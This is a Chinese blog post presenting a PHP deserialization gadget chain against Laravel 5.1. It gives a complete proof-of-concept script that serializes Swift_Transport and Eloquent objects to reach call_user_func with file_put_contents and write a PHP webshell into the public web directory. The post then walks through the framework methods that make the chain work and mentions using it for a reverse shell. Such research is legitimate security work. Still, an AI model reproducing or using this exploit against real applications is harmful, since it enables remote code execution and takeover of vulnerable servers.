一条laravel5.1的反序列化链子

前言

以后一些博客会放到这
https://fmyyy.gitee.io/

挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。

poc

先放poc吧

<?php

namespace Illuminate\Database\Eloquent {
    class FactoryBuilder
    {
        protected $definitions;
        protected $name;
        protected $class;
        protected $faker;
        public function __construct(){
            $this->name='fmyyy';
            $this->class='fmyyy';
            $this->faker = '/usr/local/var/www/la5.1/public/shell.php';
            $this->definitions = array('fmyyy'=>array('fmyyy'=>'file_put_contents'));
        }
    }
}

namespace Illuminate\Database{
    use Illuminate\Database\Eloquent\FactoryBuilder;
    class DatabaseManager{
        protected $app;
        protected $factory;
        public function __construct()
        {
            $this->factory = new FactoryBuilder();
            $this->app = array('config'=>array('database.default'=>'fmyyy','database.connections'=>array('fmyyy'=>array('driver'=>'<?=phpinfo();?>'))));
        }
    }
}

namespace {

    use Illuminate\Database\DatabaseManager;
    class Swift_Transport_EsmtpTransport
    {
        private $_handlers;
        protected $_started = true;
        protected $_eventDispatcher;

        public function __construct()
        {
            $this->_eventDispatcher = new DatabaseManager();
        }
    }
    echo urlencode(serialize(new Swift_Transport_EsmtpTransport()));
}

poc分析。

我找的destruct方法是Swift_Transport_AbstractSmtpTransport类的
看一下他做了什么。
在这里插入图片描述

调用了该类的stop方法 看一下stop
在这里插入图片描述

箭头这里可以触发__call方法,之后找__call就可以了。
但这个类是一个抽象类,所以用他的子类Swift_Transport_EsmtpTransport。

之后是找__call方法。
我找到的是DatabaseManager类,看一下他的__call方法。
在这里插入图片描述

调用了该类的connection方法,看一下这个方法。
在这里插入图片描述

重点在于$this->makeConnection方法
在这里插入图片描述

可以看到最下面可以调用任意类的make方法。
但其实这里本身就有call_user_func方法,但这里的没办法利用,这个等一下说原因。
全局找make方法。
最后在FactoryBuilder里
在这里插入图片描述

该类的make调用了makeInstance
再看看makeInstance

可以看到call_user_func了,并且参数全可控。所以我们的链子就通了
在这里插入图片描述

一些细节

解答一下之前makeConnection方法里的call_user_func为啥不能用。我们看一下他的参数。

call_user_func($this->extensions[$name], $config, $name)

第一个参数extensions[$name]是可控的,没有问题,关键是第二个config参数,看一下这个参数是怎么来的。

protected function makeConnection($name)
    {
        $config = $this->getConfig($name);//这里来的
        // First we will check by the connection name to see if an extension has been
        // registered specifically for that connection. If it has we will call the
        // Closure and pass it the config allowing it to resolve the connection.
        if (isset($this->extensions[$name])) {
            return call_user_func($this->extensions[$name], $config, $name);
        }
        $driver = $config['driver'];
        // Next we will check to see if an extension has been registered for a driver
        // and will call the Closure if so, which allows us to have a more generic
        // resolver for the drivers themselves which applies to all connections.
        if (isset($this->extensions[$driver])) {
            return call_user_func($this->extensions[$driver], $config, $name);
        }
        return $this->factory->make($config, $name);
    }

是该类的getConfig方法来的,看一下这个方法。

protected function getConfig($name)
    {

        $name = $name ?: $this->getDefaultConnection();
        // To get the database connection configuration, we will just pull each of the
        // connection configurations and get the configurations for the given name.
        // If the configuration doesn't exist, we'll throw an exception and bail.

        $connections = $this->app['config']['database.connections'];

        if (is_null($config = Arr::get($connections, $name))) {
            throw new InvalidArgumentException("Database [$name] not configured.");
        }
        return $config;
    }

return的值是Arr::get方法的返回值,看一下这个方法

public static function get($array, $key, $default = null)
    {
        if (is_null($key)) {
            return $array;
        }

        if (isset($array[$key])) {
            return $array[$key];
        }

        foreach (explode('.', $key) as $segment) {
            if (! is_array($array) || ! array_key_exists($segment, $array)) {
                return value($default);
            }

            $array = $array[$segment];
        }

        return $array;
    }

可以看到,不管怎么样,返回的都是一个数组。
所以这个call_user_func不是很好利用。但应该也有利用的方法,我比较懒就找下面的了。而且正好我们FactoryBuilder里的make方法需要数组作为参数不然就会报错,所以这个config就很好的符合我们的要求
但最后的makeInstance方法,因为第三个参数是数组,在执行时会报错。所以时没有回显的,但可以反弹shell或者写文件。
我poc里构造的相当于

class="php">call_user_func('file_put_contents','/usr/local/var/www/la5.1/public/shell.php','array('<?=phpinfo();?>')')

总结

不算很好的链子,利用复杂,构造的参数也很严苛。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值